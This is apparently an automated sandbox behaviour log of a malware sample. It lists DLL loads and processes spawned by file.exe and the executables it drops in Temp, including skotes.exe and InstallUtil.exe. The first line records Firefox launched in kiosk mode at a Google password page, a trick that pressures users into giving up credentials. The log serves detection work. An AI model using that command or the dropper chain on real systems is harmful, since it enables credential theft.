Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95852de9-fa07-429f-b0eb-acecbe82c7f0} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b32c56b710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4424 -parentBuildID 20230927232528 -prefsHandle 4436 -prefMapHandle 3868 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80b71839-4a51-456b-9b0f-3f9628a6f368} 8020 "\\.\pipe\gecko-crash-server-pipe.8020" 1b33e6f2810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VG65QSLZVUGSLKDE78EZSIIG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
